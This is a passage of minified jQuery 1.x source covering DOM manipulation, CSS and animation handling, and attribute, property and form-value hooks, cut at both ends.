e.events)n.removeEvent(b,d,e.handle);b.removeAttribute(n.expando)}"script"===c&&b.text!==a.text?(Da(b).text=a.text,Ea(b)):"object"===c?(b.parentNode&&(b.outerHTML=a.outerHTML),l.html5Clone&&a.innerHTML&&!n.trim(b.innerHTML)&&(b.innerHTML=a.innerHTML)):"input"===c&&Z.test(a.type)?(b.defaultChecked=b.checked=a.checked,b.value!==a.value&&(b.value=a.value)):"option"===c?b.defaultSelected=b.selected=a.defaultSelected:"input"!==c&&"textarea"!==c||(b.defaultValue=a.defaultValue)}}function Ha(a,b,c,d){b=f.apply([],b);var e,g,h,i,j,k,m=0,o=a.length,p=o-1,q=b[0],r=n.isFunction(q);if(r||o>1&&"string"==typeof q&&!l.checkClone&&xa.test(q))return a.each(function(e){var f=a.eq(e);r&&(b[0]=q.call(this,e,f.html())),Ha(f,b,c,d)});if(o&&(k=ja(b,a[0].ownerDocument,!1,a,d),e=k.firstChild,1===k.childNodes.length&&(k=e),e||d)){for(i=n.map(ea(k,"script"),Da),h=i.length;o>m;m++)g=k,m!==p&&(g=n.clone(g,!0,!0),h&&n.merge(i,ea(g,"script"))),c.call(a[m],g,m);if(h)for(j=i[i.length-1].ownerDocument,n.map(i,Ea),m=0;h>m;m++)g=i[m],_.test(g.type||"")&&!n._data(g,"globalEval")&&n.contains(j,g)&&(g.src?n._evalUrl&&n._evalUrl(g.src):n.globalEval((g.text||g.textContent||g.innerHTML||"").replace(za,"")));k=e=null}return a}function Ia(a,b,c){for(var d,e=b?n.filter(b,a):a,f=0;null!=(d=e[f]);f++)c||1!==d.nodeType||n.cleanData(ea(d)),d.parentNode&&(c&&n.contains(d.ownerDocument,d)&&fa(ea(d,"script")),d.parentNode.removeChild(d));return a}n.extend({htmlPrefilter:function(a){return a.replace(va,"<$1></$2>")},clone:function(a,b,c){var d,e,f,g,h,i=n.contains(a.ownerDocument,a);if(l.html5Clone||n.isXMLDoc(a)||!ua.test("<"+a.nodeName+">")?f=a.cloneNode(!0):(Ba.innerHTML=a.outerHTML,Ba.removeChild(f=Ba.firstChild)),!(l.noCloneEvent&&l.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(d=ea(f),h=ea(a),g=0;null!=(e=h[g]);++g)d[g]&&Ga(e,d[g]);if(b)if(c)for(h=h||ea(a),d=d||ea(f),g=0;null!=(e=h[g]);g++)Fa(e,d[g]);else Fa(a,f);return d=ea(f,"script"),d.length>0&&fa(d,!i&&ea(a,"script")),d=h=e=null,f},cleanData:function(a,b){for(var d,e,f,g,h=0,i=n.expando,j=n.cache,k=l.attributes,m=n.event.special;null!=(d=a[h]);h++)if((b||M(d))&&(f=d[i],g=f&&j[f])){if(g.events)for(e in g.events)m[e]?n.event.remove(d,e):n.removeEvent(d,e,g.handle);j[f]&&(delete j[f],k||"undefined"==typeof d.removeAttribute?d[i]=void 0:d.removeAttribute(i),c.push(f))}}}),n.fn.extend({domManip:Ha,detach:function(a){return Ia(this,a,!0)},remove:function(a){return Ia(this,a)},text:function(a){return Y(this,function(a){return void 0===a?n.text(this):this.empty().append((this[0]&&this[0].ownerDocument||d).createTextNode(a))},null,a,arguments.length)},append:function(){return Ha(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ca(this,a);b.appendChild(a)}})},prepend:function(){return Ha(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ca(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ha(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ha(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++){1===a.nodeType&&n.cleanData(ea(a,!1));while(a.firstChild)a.removeChild(a.firstChild);a.options&&n.nodeName(a,"select")&&(a.options.length=0)}return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return Y(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a)return 1===b.nodeType?b.innerHTML.replace(ta,""):void 0;if("string"==typeof a&&!wa.test(a)&&(l.htmlSerialize||!ua.test(a))&&(l.leadingWhitespace||!aa.test(a))&&!da[($.exec(a)||["",""])[1].toLowerCase()]){a=n.htmlPrefilter(a);try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(ea(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=[];return Ha(this,arguments,function(b){var c=this.parentNode;n.inArray(this,a)<0&&(n.cleanData(ea(this)),c&&c.replaceChild(b,this))},a)}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=0,e=[],f=n(a),h=f.length-1;h>=d;d++)c=d===h?this:this.clone(!0),n(f[d])[b](c),g.apply(e,c.get());return this.pushStack(e)}});var Ja,Ka={HTML:"block",BODY:"block"};function La(a,b){var c=n(b.createElement(a)).appendTo(b.body),d=n.css(c[0],"display");return c.detach(),d}function Ma(a){var b=d,c=Ka[a];return c||(c=La(a,b),"none"!==c&&c||(Ja=(Ja||n("<iframe frameborder='0' width='0' height='0'/>")).appendTo(b.documentElement),b=(Ja[0].contentWindow||Ja[0].contentDocument).document,b.write(),b.close(),c=La(a,b),Ja.detach()),Ka[a]=c),c}var Na=/^margin/,Oa=new RegExp("^("+T+")(?!px)[a-z%]+$","i"),Pa=function(a,b,c,d){var e,f,g={};for(f in b)g[f]=a.style[f],a.style[f]=b[f];e=c.apply(a,d||[]);for(f in b)a.style[f]=g[f];return e},Qa=d.documentElement;!function(){var b,c,e,f,g,h,i=d.createElement("div"),j=d.createElement("div");if(j.style){j.style.cssText="float:left;opacity:.5",l.opacity="0.5"===j.style.opacity,l.cssFloat=!!j.style.cssFloat,j.style.backgroundClip="content-box",j.cloneNode(!0).style.backgroundClip="",l.clearCloneStyle="content-box"===j.style.backgroundClip,i=d.createElement("div"),i.style.cssText="border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute",j.innerHTML="",i.appendChild(j),l.boxSizing=""===j.style.boxSizing||""===j.style.MozBoxSizing||""===j.style.WebkitBoxSizing,n.extend(l,{reliableHiddenOffsets:function(){return null==b&&k(),f},boxSizingReliable:function(){return null==b&&k(),e},pixelMarginRight:function(){return null==b&&k(),c},pixelPosition:function(){return null==b&&k(),b},reliableMarginRight:function(){return null==b&&k(),g},reliableMarginLeft:function(){return null==b&&k(),h}});function k(){var k,l,m=d.documentElement;m.appendChild(i),j.style.cssText="-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%",b=e=h=!1,c=g=!0,a.getComputedStyle&&(l=a.getComputedStyle(j),b="1%"!==(l||{}).top,h="2px"===(l||{}).marginLeft,e="4px"===(l||{width:"4px"}).width,j.style.marginRight="50%",c="4px"===(l||{marginRight:"4px"}).marginRight,k=j.appendChild(d.createElement("div")),k.style.cssText=j.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:0",k.style.marginRight=k.style.width="0",j.style.width="1px",g=!parseFloat((a.getComputedStyle(k)||{}).marginRight),j.removeChild(k)),j.style.display="none",f=0===j.getClientRects().length,f&&(j.style.display="",j.innerHTML="<table><tr><td></td><td>t</td></tr></table>",j.childNodes[0].style.borderCollapse="separate",k=j.getElementsByTagName("td"),k[0].style.cssText="margin:0;border:0;padding:0;display:none",f=0===k[0].offsetHeight,f&&(k[0].style.display="",k[1].style.display="none",f=0===k[0].offsetHeight)),m.removeChild(i)}}}();var Ra,Sa,Ta=/^(top|right|bottom|left)$/;a.getComputedStyle?(Ra=function(b){var c=b.ownerDocument.defaultView;return c&&c.opener||(c=a),c.getComputedStyle(b)},Sa=function(a,b,c){var d,e,f,g,h=a.style;return c=c||Ra(a),g=c?c.getPropertyValue(b)||c[b]:void 0,""!==g&&void 0!==g||n.contains(a.ownerDocument,a)||(g=n.style(a,b)),c&&!l.pixelMarginRight()&&Oa.test(g)&&Na.test(b)&&(d=h.width,e=h.minWidth,f=h.maxWidth,h.minWidth=h.maxWidth=h.width=g,g=c.width,h.width=d,h.minWidth=e,h.maxWidth=f),void 0===g?g:g+""}):Qa.currentStyle&&(Ra=function(a){return a.currentStyle},Sa=function(a,b,c){var d,e,f,g,h=a.style;return c=c||Ra(a),g=c?c[b]:void 0,null==g&&h&&h[b]&&(g=h[b]),Oa.test(g)&&!Ta.test(b)&&(d=h.left,e=a.runtimeStyle,f=e&&e.left,f&&(e.left=a.currentStyle.left),h.left="fontSize"===b?"1em":g,g=h.pixelLeft+"px",h.left=d,f&&(e.left=f)),void 0===g?g:g+""||"auto"});function Ua(a,b){return{get:function(){return a()?void delete this.get:(this.get=b).apply(this,arguments)}}}var Va=/alpha\([^)]*\)/i,Wa=/opacity\s*=\s*([^)]*)/i,Xa=/^(none|table(?!-c[ea]).+)/,Ya=new RegExp("^("+T+")(.*)$","i"),Za={position:"absolute",visibility:"hidden",display:"block"},$a={letterSpacing:"0",fontWeight:"400"},_a=["Webkit","O","Moz","ms"],ab=d.createElement("div").style;function bb(a){if(a in ab)return a;var b=a.charAt(0).toUpperCase()+a.slice(1),c=_a.length;while(c--)if(a=_a[c]+b,a in ab)return a}function cb(a,b){for(var c,d,e,f=[],g=0,h=a.length;h>g;g++)d=a[g],d.style&&(f[g]=n._data(d,"olddisplay"),c=d.style.display,b?(f[g]||"none"!==c||(d.style.display=""),""===d.style.display&&W(d)&&(f[g]=n._data(d,"olddisplay",Ma(d.nodeName)))):(e=W(d),(c&&"none"!==c||!e)&&n._data(d,"olddisplay",e?c:n.css(d,"display"))));for(g=0;h>g;g++)d=a[g],d.style&&(b&&"none"!==d.style.display&&""!==d.style.display||(d.style.display=b?f[g]||"":"none"));return a}function db(a,b,c){var d=Ya.exec(b);return d?Math.max(0,d[1]-(c||0))+(d[2]||"px"):b}function eb(a,b,c,d,e){for(var f=c===(d?"border":"content")?4:"width"===b?1:0,g=0;4>f;f+=2)"margin"===c&&(g+=n.css(a,c+V[f],!0,e)),d?("content"===c&&(g-=n.css(a,"padding"+V[f],!0,e)),"margin"!==c&&(g-=n.css(a,"border"+V[f]+"Width",!0,e))):(g+=n.css(a,"padding"+V[f],!0,e),"padding"!==c&&(g+=n.css(a,"border"+V[f]+"Width",!0,e)));return g}function fb(a,b,c){var d=!0,e="width"===b?a.offsetWidth:a.offsetHeight,f=Ra(a),g=l.boxSizing&&"border-box"===n.css(a,"boxSizing",!1,f);if(0>=e||null==e){if(e=Sa(a,b,f),(0>e||null==e)&&(e=a.style[b]),Oa.test(e))return e;d=g&&(l.boxSizingReliable()||e===a.style[b]),e=parseFloat(e)||0}return e+eb(a,b,c||(g?"border":"content"),d,f)+"px"}n.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=Sa(a,"opacity");return""===c?"1":c}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":l.cssFloat?"cssFloat":"styleFloat"},style:function(a,b,c,d){if(a&&3!==a.nodeType&&8!==a.nodeType&&a.style){var e,f,g,h=n.camelCase(b),i=a.style;if(b=n.cssProps[h]||(n.cssProps[h]=bb(h)||h),g=n.cssHooks[b]||n.cssHooks[h],void 0===c)return g&&"get"in g&&void 0!==(e=g.get(a,!1,d))?e:i[b];if(f=typeof c,"string"===f&&(e=U.exec(c))&&e[1]&&(c=X(a,b,e),f="number"),null!=c&&c===c&&("number"===f&&(c+=e&&e[3]||(n.cssNumber[h]?"":"px")),l.clearCloneStyle||""!==c||0!==b.indexOf("background")||(i[b]="inherit"),!(g&&"set"in g&&void 0===(c=g.set(a,c,d)))))try{i[b]=c}catch(j){}}},css:function(a,b,c,d){var e,f,g,h=n.camelCase(b);return b=n.cssProps[h]||(n.cssProps[h]=bb(h)||h),g=n.cssHooks[b]||n.cssHooks[h],g&&"get"in g&&(f=g.get(a,!0,c)),void 0===f&&(f=Sa(a,b,d)),"normal"===f&&b in $a&&(f=$a[b]),""===c||c?(e=parseFloat(f),c===!0||isFinite(e)?e||0:f):f}}),n.each(["height","width"],function(a,b){n.cssHooks[b]={get:function(a,c,d){return c?Xa.test(n.css(a,"display"))&&0===a.offsetWidth?Pa(a,Za,function(){return fb(a,b,d)}):fb(a,b,d):void 0},set:function(a,c,d){var e=d&&Ra(a);return db(a,c,d?eb(a,b,d,l.boxSizing&&"border-box"===n.css(a,"boxSizing",!1,e),e):0)}}}),l.opacity||(n.cssHooks.opacity={get:function(a,b){return Wa.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=n.isNumeric(b)?"alpha(opacity="+100*b+")":"",f=d&&d.filter||c.filter||"";c.zoom=1,(b>=1||""===b)&&""===n.trim(f.replace(Va,""))&&c.removeAttribute&&(c.removeAttribute("filter"),""===b||d&&!d.filter)||(c.filter=Va.test(f)?f.replace(Va,e):f+" "+e)}}),n.cssHooks.marginRight=Ua(l.reliableMarginRight,function(a,b){return b?Pa(a,{display:"inline-block"},Sa,[a,"marginRight"]):void 0}),n.cssHooks.marginLeft=Ua(l.reliableMarginLeft,function(a,b){return b?(parseFloat(Sa(a,"marginLeft"))||(n.contains(a.ownerDocument,a)?a.getBoundingClientRect().left-Pa(a,{
- marginLeft:0},function(){return a.getBoundingClientRect().left}):0))+"px":void 0}),n.each({margin:"",padding:"",border:"Width"},function(a,b){n.cssHooks[a+b]={expand:function(c){for(var d=0,e={},f="string"==typeof c?c.split(" "):[c];4>d;d++)e[a+V[d]+b]=f[d]||f[d-2]||f[0];return e}},Na.test(a)||(n.cssHooks[a+b].set=db)}),n.fn.extend({css:function(a,b){return Y(this,function(a,b,c){var d,e,f={},g=0;if(n.isArray(b)){for(d=Ra(a),e=b.length;e>g;g++)f[b[g]]=n.css(a,b[g],!1,d);return f}return void 0!==c?n.style(a,b,c):n.css(a,b)},a,b,arguments.length>1)},show:function(){return cb(this,!0)},hide:function(){return cb(this)},toggle:function(a){return"boolean"==typeof a?a?this.show():this.hide():this.each(function(){W(this)?n(this).show():n(this).hide()})}});function gb(a,b,c,d,e){return new gb.prototype.init(a,b,c,d,e)}n.Tween=gb,gb.prototype={constructor:gb,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||n.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(n.cssNumber[c]?"":"px")},cur:function(){var a=gb.propHooks[this.prop];return a&&a.get?a.get(this):gb.propHooks._default.get(this)},run:function(a){var b,c=gb.propHooks[this.prop];return this.options.duration?this.pos=b=n.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):gb.propHooks._default.set(this),this}},gb.prototype.init.prototype=gb.prototype,gb.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]&&null==a.elem.style[a.prop]?a.elem[a.prop]:(b=n.css(a.elem,a.prop,""),b&&"auto"!==b?b:0)},set:function(a){n.fx.step[a.prop]?n.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[n.cssProps[a.prop]]&&!n.cssHooks[a.prop]?a.elem[a.prop]=a.now:n.style(a.elem,a.prop,a.now+a.unit)}}},gb.propHooks.scrollTop=gb.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},n.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:"swing"},n.fx=gb.prototype.init,n.fx.step={};var hb,ib,jb=/^(?:toggle|show|hide)$/,kb=/queueHooks$/;function lb(){return a.setTimeout(function(){hb=void 0}),hb=n.now()}function mb(a,b){var c,d={height:a},e=0;for(b=b?1:0;4>e;e+=2-b)c=V[e],d["margin"+c]=d["padding"+c]=a;return b&&(d.opacity=d.width=a),d}function nb(a,b,c){for(var d,e=(qb.tweeners[b]||[]).concat(qb.tweeners["*"]),f=0,g=e.length;g>f;f++)if(d=e[f].call(c,b,a))return d}function ob(a,b,c){var d,e,f,g,h,i,j,k,m=this,o={},p=a.style,q=a.nodeType&&W(a),r=n._data(a,"fxshow");c.queue||(h=n._queueHooks(a,"fx"),null==h.unqueued&&(h.unqueued=0,i=h.empty.fire,h.empty.fire=function(){h.unqueued||i()}),h.unqueued++,m.always(function(){m.always(function(){h.unqueued--,n.queue(a,"fx").length||h.empty.fire()})})),1===a.nodeType&&("height"in b||"width"in b)&&(c.overflow=[p.overflow,p.overflowX,p.overflowY],j=n.css(a,"display"),k="none"===j?n._data(a,"olddisplay")||Ma(a.nodeName):j,"inline"===k&&"none"===n.css(a,"float")&&(l.inlineBlockNeedsLayout&&"inline"!==Ma(a.nodeName)?p.zoom=1:p.display="inline-block")),c.overflow&&(p.overflow="hidden",l.shrinkWrapBlocks()||m.always(function(){p.overflow=c.overflow[0],p.overflowX=c.overflow[1],p.overflowY=c.overflow[2]}));for(d in b)if(e=b[d],jb.exec(e)){if(delete b[d],f=f||"toggle"===e,e===(q?"hide":"show")){if("show"!==e||!r||void 0===r[d])continue;q=!0}o[d]=r&&r[d]||n.style(a,d)}else j=void 0;if(n.isEmptyObject(o))"inline"===("none"===j?Ma(a.nodeName):j)&&(p.display=j);else{r?"hidden"in r&&(q=r.hidden):r=n._data(a,"fxshow",{}),f&&(r.hidden=!q),q?n(a).show():m.done(function(){n(a).hide()}),m.done(function(){var b;n._removeData(a,"fxshow");for(b in o)n.style(a,b,o[b])});for(d in o)g=nb(q?r[d]:0,d,m),d in r||(r[d]=g.start,q&&(g.end=g.start,g.start="width"===d||"height"===d?1:0))}}function pb(a,b){var c,d,e,f,g;for(c in a)if(d=n.camelCase(c),e=b[d],f=a[c],n.isArray(f)&&(e=f[1],f=a[c]=f[0]),c!==d&&(a[d]=f,delete a[c]),g=n.cssHooks[d],g&&"expand"in g){f=g.expand(f),delete a[d];for(c in f)c in a||(a[c]=f[c],b[c]=e)}else b[d]=e}function qb(a,b,c){var d,e,f=0,g=qb.prefilters.length,h=n.Deferred().always(function(){delete i.elem}),i=function(){if(e)return!1;for(var b=hb||lb(),c=Math.max(0,j.startTime+j.duration-b),d=c/j.duration||0,f=1-d,g=0,i=j.tweens.length;i>g;g++)j.tweens[g].run(f);return h.notifyWith(a,[j,f,c]),1>f&&i?c:(h.resolveWith(a,[j]),!1)},j=h.promise({elem:a,props:n.extend({},b),opts:n.extend(!0,{specialEasing:{},easing:n.easing._default},c),originalProperties:b,originalOptions:c,startTime:hb||lb(),duration:c.duration,tweens:[],createTween:function(b,c){var d=n.Tween(a,j.opts,b,c,j.opts.specialEasing[b]||j.opts.easing);return j.tweens.push(d),d},stop:function(b){var c=0,d=b?j.tweens.length:0;if(e)return this;for(e=!0;d>c;c++)j.tweens[c].run(1);return b?(h.notifyWith(a,[j,1,0]),h.resolveWith(a,[j,b])):h.rejectWith(a,[j,b]),this}}),k=j.props;for(pb(k,j.opts.specialEasing);g>f;f++)if(d=qb.prefilters[f].call(j,a,k,j.opts))return n.isFunction(d.stop)&&(n._queueHooks(j.elem,j.opts.queue).stop=n.proxy(d.stop,d)),d;return n.map(k,nb,j),n.isFunction(j.opts.start)&&j.opts.start.call(a,j),n.fx.timer(n.extend(i,{elem:a,anim:j,queue:j.opts.queue})),j.progress(j.opts.progress).done(j.opts.done,j.opts.complete).fail(j.opts.fail).always(j.opts.always)}n.Animation=n.extend(qb,{tweeners:{"*":[function(a,b){var c=this.createTween(a,b);return X(c.elem,a,U.exec(b),c),c}]},tweener:function(a,b){n.isFunction(a)?(b=a,a=["*"]):a=a.match(G);for(var c,d=0,e=a.length;e>d;d++)c=a[d],qb.tweeners[c]=qb.tweeners[c]||[],qb.tweeners[c].unshift(b)},prefilters:[ob],prefilter:function(a,b){b?qb.prefilters.unshift(a):qb.prefilters.push(a)}}),n.speed=function(a,b,c){var d=a&&"object"==typeof a?n.extend({},a):{complete:c||!c&&b||n.isFunction(a)&&a,duration:a,easing:c&&b||b&&!n.isFunction(b)&&b};return d.duration=n.fx.off?0:"number"==typeof d.duration?d.duration:d.duration in n.fx.speeds?n.fx.speeds[d.duration]:n.fx.speeds._default,null!=d.queue&&d.queue!==!0||(d.queue="fx"),d.old=d.complete,d.complete=function(){n.isFunction(d.old)&&d.old.call(this),d.queue&&n.dequeue(this,d.queue)},d},n.fn.extend({fadeTo:function(a,b,c,d){return this.filter(W).css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){var e=n.isEmptyObject(a),f=n.speed(b,c,d),g=function(){var b=qb(this,n.extend({},a),f);(e||n._data(this,"finish"))&&b.stop(!0)};return g.finish=g,e||f.queue===!1?this.each(g):this.queue(f.queue,g)},stop:function(a,b,c){var d=function(a){var b=a.stop;delete a.stop,b(c)};return"string"!=typeof a&&(c=b,b=a,a=void 0),b&&a!==!1&&this.queue(a||"fx",[]),this.each(function(){var b=!0,e=null!=a&&a+"queueHooks",f=n.timers,g=n._data(this);if(e)g[e]&&g[e].stop&&d(g[e]);else for(e in g)g[e]&&g[e].stop&&kb.test(e)&&d(g[e]);for(e=f.length;e--;)f[e].elem!==this||null!=a&&f[e].queue!==a||(f[e].anim.stop(c),b=!1,f.splice(e,1));!b&&c||n.dequeue(this,a)})},finish:function(a){return a!==!1&&(a=a||"fx"),this.each(function(){var b,c=n._data(this),d=c[a+"queue"],e=c[a+"queueHooks"],f=n.timers,g=d?d.length:0;for(c.finish=!0,n.queue(this,a,[]),e&&e.stop&&e.stop.call(this,!0),b=f.length;b--;)f[b].elem===this&&f[b].queue===a&&(f[b].anim.stop(!0),f.splice(b,1));for(b=0;g>b;b++)d[b]&&d[b].finish&&d[b].finish.call(this);delete c.finish})}}),n.each(["toggle","show","hide"],function(a,b){var c=n.fn[b];n.fn[b]=function(a,d,e){return null==a||"boolean"==typeof a?c.apply(this,arguments):this.animate(mb(b,!0),a,d,e)}}),n.each({slideDown:mb("show"),slideUp:mb("hide"),slideToggle:mb("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){n.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),n.timers=[],n.fx.tick=function(){var a,b=n.timers,c=0;for(hb=n.now();c<b.length;c++)a=b[c],a()||b[c]!==a||b.splice(c--,1);b.length||n.fx.stop(),hb=void 0},n.fx.timer=function(a){n.timers.push(a),a()?n.fx.start():n.timers.pop()},n.fx.interval=13,n.fx.start=function(){ib||(ib=a.setInterval(n.fx.tick,n.fx.interval))},n.fx.stop=function(){a.clearInterval(ib),ib=null},n.fx.speeds={slow:600,fast:200,_default:400},n.fn.delay=function(b,c){return b=n.fx?n.fx.speeds[b]||b:b,c=c||"fx",this.queue(c,function(c,d){var e=a.setTimeout(c,b);d.stop=function(){a.clearTimeout(e)}})},function(){var a,b=d.createElement("input"),c=d.createElement("div"),e=d.createElement("select"),f=e.appendChild(d.createElement("option"));c=d.createElement("div"),c.setAttribute("className","t"),c.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",a=c.getElementsByTagName("a")[0],b.setAttribute("type","checkbox"),c.appendChild(b),a=c.getElementsByTagName("a")[0],a.style.cssText="top:1px",l.getSetAttribute="t"!==c.className,l.style=/top/.test(a.getAttribute("style")),l.hrefNormalized="/a"===a.getAttribute("href"),l.checkOn=!!b.value,l.optSelected=f.selected,l.enctype=!!d.createElement("form").enctype,e.disabled=!0,l.optDisabled=!f.disabled,b=d.createElement("input"),b.setAttribute("value",""),l.input=""===b.getAttribute("value"),b.value="t",b.setAttribute("type","radio"),l.radioValue="t"===b.value}();var rb=/\r/g,sb=/[\x20\t\r\n\f]+/g;n.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=n.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,n(this).val()):a,null==e?e="":"number"==typeof e?e+="":n.isArray(e)&&(e=n.map(e,function(a){return null==a?"":a+""})),b=n.valHooks[this.type]||n.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=n.valHooks[e.type]||n.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(rb,""):null==c?"":c)}}}),n.extend({valHooks:{option:{get:function(a){var b=n.find.attr(a,"value");return null!=b?b:n.trim(n.text(a)).replace(sb," ")}},select:{get:function(a){for(var b,c,d=a.options,e=a.selectedIndex,f="select-one"===a.type||0>e,g=f?null:[],h=f?e+1:d.length,i=0>e?h:f?e:0;h>i;i++)if(c=d[i],(c.selected||i===e)&&(l.optDisabled?!c.disabled:null===c.getAttribute("disabled"))&&(!c.parentNode.disabled||!n.nodeName(c.parentNode,"optgroup"))){if(b=n(c).val(),f)return b;g.push(b)}return g},set:function(a,b){var c,d,e=a.options,f=n.makeArray(b),g=e.length;while(g--)if(d=e[g],n.inArray(n.valHooks.option.get(d),f)>-1)try{d.selected=c=!0}catch(h){d.scrollHeight}else d.selected=!1;return c||(a.selectedIndex=-1),e}}}}),n.each(["radio","checkbox"],function(){n.valHooks[this]={set:function(a,b){return n.isArray(b)?a.checked=n.inArray(n(a).val(),b)>-1:void 0}},l.checkOn||(n.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var tb,ub,vb=n.expr.attrHandle,wb=/^(?:checked|selected)$/i,xb=l.getSetAttribute,yb=l.input;n.fn.extend({attr:function(a,b){return Y(this,n.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){n.removeAttr(this,a)})}}),n.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?n.prop(a,b,c):(1===f&&n.isXMLDoc(a)||(b=b.toLowerCase(),e=n.attrHooks[b]||(n.expr.match.bool.test(b)?ub:tb)),void 0!==c?null===c?void n.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=n.find.attr(a,b),null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!l.radioValue&&"radio"===b&&n.nodeName(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d,e=0,f=b&&b.match(G);if(f&&1===a.nodeType)while(c=f[e++])d=n.propFix[c]||c,n.expr.match.bool.test(c)?yb&&xb||!wb.test(c)?a[d]=!1:a[n.camelCase("default-"+c)]=a[d]=!1:n.attr(a,c,""),a.removeAttribute(xb?c:d)}}),ub={set:function(a,b,c){return b===!1?n.removeAttr(a,c):yb&&xb||!wb.test(c)?a.setAttribute(!xb&&n.propFix[c]||c,c):a[n.camelCase("default-"+c)]=a[c]=!0,c}},n.each(n.expr.match.bool.source.match(/\w+/g),function(a,b){var c=vb[b]||n.find.attr;yb&&xb||!wb.test(b)?vb[b]=function(a,b,d){var e,f;return d||(f=vb[b],vb[b]=e,e=null!=c(a,b,d)?b.toLowerCase():null,vb[b]=f),e}:vb[b]=function(a,b,c){return c?void 0:a[n.camelCase("default-"+b)]?b.toLowerCase():null}}),yb&&xb||(n.attrHooks.value={set:function(a,b,c){return n.nodeName(a,"input")?void(a.defaultValue=b):tb&&tb.set(a,b,c)}}),xb||(tb={set:function(a,b,c){var d=a.getAttributeNode(c);return d||a.setAttributeNode(d=a.ownerDocument.createAttribute(c)),d.value=b+="","value"===c||b===a.getAttribute(c)?b:void 0}},vb.id=vb.name=vb.coords=function(a,b,c){var d;return c?void 0:(d=a.getAttributeNode(b))&&""!==d.value?d.value:null},n.valHooks.button={get:function(a,b){var c=a.getAttributeNode(b);return c&&c.specified?c.value:void 0},set:tb.set},n.attrHooks.contenteditable={set:function(a,b,c){tb.set(a,""===b?!1:b,c)}},n.each(["width","height"],function(a,b){n.attrHooks[b]={set:function(a,c){return""===c?(a.setAttribute(b,"auto"),c):void 0}}})),l.style||(n.attrHooks.style={get:function(a){return a.style.cssText||void 0},set:function(a,b){return a.style.cssText=b+""}});var zb=/^(?:input|select|textarea|button|object)$/i,Ab=/^(?:a|area)$/i;n.fn.extend({prop:function(a,b){return Y(this,n.prop,a,b,arguments.length>1)},removeProp:function(a){return a=n.propFix[a]||a,this.each(function(){try{this[a]=void 0,delete this[a]}catch(b){}})}}),n.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&n.isXMLDoc(a)||(b=n.propFix[b]||b,e=n.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=n.find.attr(a,"tabindex");return b?parseInt(b,10):zb.test(a.nodeName)||Ab.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),l.hrefNormalized||n.each(["href","src"],function(a,b){n.propHooks[b]={get:function(a){return a.getAttribute(b,4)}}}),l.optSelected||(n.propHooks.selected={get:function(a){var b=a.parentNode;return 